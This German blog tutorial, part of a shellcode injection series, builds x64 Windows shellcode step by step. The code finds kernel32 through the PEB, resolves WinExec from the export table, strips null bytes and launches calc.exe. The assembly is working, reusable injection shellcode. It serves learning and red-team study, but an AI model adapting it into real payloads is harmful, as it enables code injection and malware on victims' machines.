Diese Seite ist nicht editierbar. Sie können den Quelltext sehen, jedoch nicht verändern. Kontaktieren Sie den Administrator, wenn Sie glauben, dass hier ein Fehler vorliegt. {{tag>IT-Security Windows Kali pentest blog deutsch}} ====== Shellcode Injection Teil 4 ====== {{:it-security:blog:sc4-header.jpg?400|}} In diesem Beitrag beschäftigen wir uns nur nebenher mit der Verschleierung von Shellcodes. An diesem Punkt wollte ich einen Custom-Shellcode entwickeln, um mehr über die Funktionsweise zu lernen. Folgende Anforderungen sollten hierbei erfüllt sein: * Start von ''calc.exe'' auf einem Windows Rechner * 64-Bit Code * Vermeiden von Null-Bytes ===== Vorbereitungen ===== ==== Shellcode? Nichts leichter als das! ==== Das dachte ich zumindest. Tatsächlich hat es einiges an Zeit gekostet die Funktionsweise zu verstehen. Dies lag zum Teil auch an fehlenden ''x64dbg'' Kenntnissen. Gerade das Live-Debugging hat sehr viel Zeit gekostet, da ich viele nützliche Befehle noch nicht kannte. Zum Glück gibt es eine hilfreiche Webseite, welche ich gerne als Referenz genutzt habe.((https://help.x64dbg.com/en/latest/commands/index.html )) ==== Hilfreiche Tools ==== * Microsoft Visual Studio((https://visualstudio.microsoft.com/de/downloads/)) * x64dbg((https://x64dbg.com/)) * PEView((http://wjradburn.com/software/)) * ShenCode((https://github.com/psycore8/shencode)) ==== Hilfreiche Webseiten ==== Es gibt viele gute Referenzen im Internet. Ein etwas jüngerer [[https://print3m.github.io/blog/x64-winapi-shellcoding|Blogpost]] hat mich schließlich auf die Idee für diesen Blogpost gebracht. Der entsprechende fertige Shellcode hierzu ist auf [[https://github.com/Print3M/shellcodes/blob/main/calc-exe.asm|GitHub]] veröffentlicht. Dieser ist gut verständlich und nachvollziehbar. Ein weiterer Blogpost von [[https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode|Red Team Notes]] habe ich für den Aufbau des Shellcodes genutzt. ===== Code: Schritt für Schritt ===== Den kompletten Code findet ihr auch auf [[https://github.com/psycore8/nosoc-shellcode/tree/main/nosoc-shellcode-4|Github]]. Welche Schritte sind nun nötig, um ''calc.exe'' aus einem Shellcode zu starten? - ''kernel32.dll'' Basis Adresse finden - ''WinAPI'' im Speicher ermitteln - Funktion ''WinExec'' finden ==== Variablen und Stack ==== Im ersten Schritt reservieren wir uns Speicher für unsere Variablen: <code gdb> sub rsp, 40h xor rax, rax mov [rbp - 08h], rax ; Number_of_Exported_Functions mov [rbp - 10h], rax ; Adress_Table mov [rbp - 18h], rax ; Name_Ptr_Table mov [rbp - 20h], rax ; Ordinal_Table mov [rbp - 28h], rax ; Pointer(WinExec-String) mov [rbp - 30h], rax ; Address(WinExec-Function) mov [rbp - 38h], rax ; reserved </code> Für den späteren Suchdurchlauf müssen wir den String ''WinExec\n'' auf den Stack pushen und die Zeigeradresse speichern. <code gdb> push rax mov rax, 0x00636578456E6957 ; 0x00 + c,e,x,E,n,i,W push rax ; push WinExec\n to stack mov [rbp - 28h], rsp ; Pointer(WinExec-String) -> Var </code> ==== kernel32.dll Basis Adresse ==== Mit jedem Start eines Prozesses in Windows, werden Module in diesen Prozess geladen. Eines dieser Module ist unsere ''kernel32.dll''. Im Arbeitsspeicher werden durch Windows Datenstrukturen angelegt, welche alle für uns nötigen Informationen bereit halten. Ähnlich wie in einem Buch, rufen wir ein Inhaltsverzeichnis (Pointer) auf, welches auf die richtige Seitenzahl (relevanter Speicherbereich) zeigt. Die erste dieser Strukturen ist der ''TEB'' (Thread Environment Block). Dieser beinhaltet einen Zeiger auf den ''PEB'' (Process Environment Block), welcher uns Auskunft über die geladenen Module gibt. Den Zeiger zur ''PEB'' finden wir über das Register ''gs'' am Offset ''0x60'', sprich ab Byte 60. Wir laden nun die Speicheradresse in das Register ''rax''. <code gdb> mov rax, gs:[0x60] </code> Jetzt befinden wir uns im ''PEB'' und navigieren durch den Speicherbereich: <code> PEB + 18 Bytes -> Pointer(Ldr) Ldr + 20 Bytes -> Pointer(InMemoryModuleList) InMemoryModuleList(1) -> ProcessModule InMemoryModuleList(2) -> ntdll Module InMemoryModuleList(3) + 20 Bytes -> kernel32.dllbase </code> In unserem Code sieht dies dann so aus: <code gdb> mov rax, [rax + 0x18] ; PEB + 18 Bytes -> Pointer(Ldr) mov rax, [rax + 0x20] ; Ldr + 20 Bytes -> Pointer(InMemoryModuleList) mov rax, [rax] ; InMemoryModuleList -> ProcessModule mov rax, [rax] ; InMemoryModuleList -> ntdll Module mov rax, [rax + 0x20] ; InMemoryModuleList -> kernel32 + 20 Bytes DllBase mov rbx, rax ; Save kernerl32.base to rbx </code> ==== WinAPI ==== Mit der ''kernel32'' Basis Adresse können wir die WinAPI suchen. Hierzu benötigen wir erneut ein paar Adressen: <code> kernel32.base + 0x3c Bytes -> Pointer(RVA_PE_Signature) RVA_PE_Signature + 0x88 Bytes -> Pointer(RVA_Export_Table) RVA_Export_Table + 0x14 Bytes -> Number_of_Exported_Functions RVA_Export_Table + 0x1c Bytes -> RVA_Address_Table RVA_Export_Table + 0x20 Bytes -> RVA_Name_Pointer_Table RVA_Export_Table + 0x24 Bytes -> RVA_Ordinal_Table </code> Setzen wir dies nun in ''ASM'' um: <code gdb> mov eax, [rbx + 0x3c] ; Pointer(RVA_PE_Signature) add rax, rbx ; rax = kernel32.base + RVA_PE_Signature mov eax, [rax + 0x88] ; Pointer(RVA_Export_Table) add rax, rbx ; rax = kernel32.base + RVA_Export_Table mov ecx, [rax + 0x14] ; Number_of_Exported_Functions mov [rbp - 8h], rcx ; Number_of_Exported_Functions -> Var mov ecx, [rax + 0x1c] ; RVA_Address_Table add rcx, rbx ; Adress_Table = kernel32.base + RVA_Address_Table mov [rbp - 10h], rcx ; Adress_Table -> Var mov ecx, [rax + 0x20] ; RVA_Name_Ptr_Table add rcx, rbx ; Name_Ptr_Table = kernel32.base + RVA_Name_Ptr_Table mov [rbp - 18h], rcx ; Name_Ptr_Table -> Var mov ecx, [rax + 0x24] ; RVA_Ordinal_Table add rcx, rbx ; Ordinal_Table = kernel32.base + RVA_Ordinal_Table mov [rbp - 20h], rcx ; Ordinal_Table -> Var </code> <callout type="info" icon="true"> Öffnet die Datei ''windir\syswow64\kernel32.dll'' in PEView. So könnt ihr die gesuchten Speicherbereiche besser nachvollziehen. </callout> ==== WinExec ==== === Iteration === Nun folgt eine Iteration, welche die Export-Funktionen solange abfragt, bis ''WinExec'' gefunden wurde oder die Anzahl der Funktionen durchlaufen ist: <code gdb> xor rax, rax xor rcx, rcx findWinExecPosition: mov rsi, [rbp - 28h] ; Pointer(WinExec-String) mov rdi, [rbp - 18h] ; Pointer(Name_Ptr_Table) cld ; clear direction, low -> high Adresses mov edi, [rdi + rax * 4] ; RVA_Next_Function from Name_Ptr_Table add rdi, rbx ; Adress_Next_Function mov cl, 8 ; compare first 8 Bytes repe cmpsb ; check if rsi == rdi jz WinExecFound ; if found -> jump inc rax ; else: increase the counter cmp rax, [rbp - 8h] ; counter = Number_of_Exported_Functions jne findWinExecPosition ; if not -> jump </code> === Funktion gefunden === Wurde die Funktion gefunden, springt der Code zur ''WinExecFound''-Marke. Hier wird die reale, virtuelle Adresse der Funktion berechnet. Mit dieser sind wir schließlich in der Lage ''WinExec'' zu adressieren. Der Vorgang wird von [[https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode#finding-winexec-ordinal-number-1|Red Team Notes]] genauer beleuchtet. <code gdb> WinExecFound: mov rcx, [rbp - 20h] ; Ordinal_Table mov rdx, [rbp - 10h] ; Adress_Table mov ax, [rcx + rax * 2] ; Ordinal_WinExec mov eax, [rdx + rax * 4] ; RVA_WinExec add rax, rbx ; VA_WinExec jmp short InvokeWinExec </code> === WinExec ausführen === Nun übergeben wir alle wichtigen Parameter an ''WinExec'' und rufen die Funktion anschließend auf. Ein Blick in die Funktionsdokumentation ist hierbei hilfreich.((https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-winexec)) <code gdb> UINT WinExec( [in] LPCSTR lpCmdLine, [in] UINT uCmdShow ); </code> Wir benötigen einen String für die Kommandozeile und einen Integer für die Anzeige des Fensters. Es gibt jedoch noch mehr Dinge zu beachten, wenn wir die WinAPI aufrufen.((https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170))((https://print3m.github.io/blog/x64-winapi-shellcoding#execute-winexec-function)) * Argument Register (von links nach rechts): ''RCX (lpCmdLine), RDX (uCmdShow), R8, R9, Stack'' * Der Stack muss auf 16 Bytes ausgerichtet werden: ''and rsp, -16'' * Shadow Space, ein leeres 32 Bytes Segment auf dem Stack, welches für interne WinAPI Zwecke benötigt wird: ''sub rsp, 32'' Unseren string ''calc.exe'' übergeben wir wieder in umgekehrter Schreibweise an den Stack und anschließend füllen wir das untere Byte-Segment des ''RDX'' Registers mit dem Wert ''0x1'', was dem Wert ''SW_SHOWDEFAULT'' entspricht. Dann erfüllen wir noch die WinAPI Aufrufkonventionen, wie oben beschrieben und können ''WinExec'' mit dem Befehl ''call rax'' aufrufen. <code gdb> InvokeWinExec: xor rdx, rdx xor rcx, rcx push rcx mov rcx, 0x6578652e636c6163 ; exe.clac push rcx mov rcx, rsp ; rcx = calc.exe mov dl, 0x1 ; uCmdSHow = SW_SHOWDEFAULT and rsp, -16 ; 16-byte Stack Alignment sub rsp, 32 ; STACK + 32 Bytes (shadow spaces) call rax ; call WinExec </code> {{:it-security:blog:91w0vu.gif|}} ===== Null-Bytes ===== Wir können den Code nun mit folgendem Befehl kompilieren: <code bash> nasm -f win64 calc-unsanitized.asm -o calc-unsanitized.o </code> Dann lohnt sich ein Blick in die kompilierte Datei: <code> objdump -d calc-unsanitized.o </code> {{:it-security:blog:calc-unsanitized.png|}} Es fallen direkt einige Stellen auf, welche 0-Bytes enthalten. Diese können den Shellcode an der Ausführung hindern, somit müssen wir noch einige Änderungen machen. ==== WinExec Push ==== Wir pushen ''WinExec\n'' auf den Stack. ''\n'' entspricht 0-Byte und wir müssen unseren Code anpassen. Wir ändern ''00'' im String auf ''11''. Nun können wir mit ''shl, shr'' den Inhalt des Registers nach Links bzw. Rechts verschieben. Alle Werte außerhalb werden gelöscht. <code gdb> mov rax, 0x00636578456E6957 ; 0x00 + c,e,x,E,n,i,W --> mov rax, 0x11636578456E6957 shl rax, 0x08 ; shift left 0x08 -> 0x636578456E695700 shr rax, 0x08 ; shift right 0x08 -> 0x00636578456E6957 </code> ==== GS Register + 0x60 ==== Die Anweisung ''mov rax, gs:[0x60]'' erzeugt ebenfalls 0-Bytes. Dies können wir umgehen, indem wir ''0x60'' einem niedrigerem Register zuordnen. Anschließend werden die Register addiert. <code gdb> mov rax, gs:[0x60] --> mov al, 60h mov rax, gs:[rax] </code> Eine Übersicht der hohen und niedrigen Register findet ihr im [[it-security:64_bit_stack_cheatsheet|64 Bit Stack CheatSheet]]. ==== RVA_Table Pointer ==== Die gleiche Methode wenden wir am RVA_Table Pointer an: <code gdb> mov eax, [rax + 0x88] ; Pointer(RVA_Export_Table) --> mov cl, 88h mov eax, [rax + rcx] </code> ===== Letzte Handgriffe ===== Der Shellcode sieht nun fast gut aus. Wir müssen nur noch die relevanten Anweisungen rausfiltern. Ich nutze hierzu eine kleine Eigenprogrammierung namens [[https://github.com/psycore8/shencode|ShenCode]] . <code shell> python shencode.py output -f calc-final.o -s c </code> Der Befehl liefert uns die Datei in C-Format Syntax. Wir wissen, unser Shellcode beginnt mit den Opcodes ''55 48''. Diese finden sich ab Offset 60. Die letzten Anweisungen sind ''5D C3'' und dann befinden wir uns an Offset 310. <code shell> python shencode.py extract -f calc-final.o -o calc-final.sc -fb 60 -lb 310 python shencode.py output -f calc-final.sc -s c </code> Und hier ist unser fertiger Shellcode! {{:it-security:blog:shellcode4-01.png|}} ===== Repository ===== <code bash> git clone https://github.com/psycore8/nosoc-shellcode </code> ===== Referenzen ===== ~~DISCUSSION~~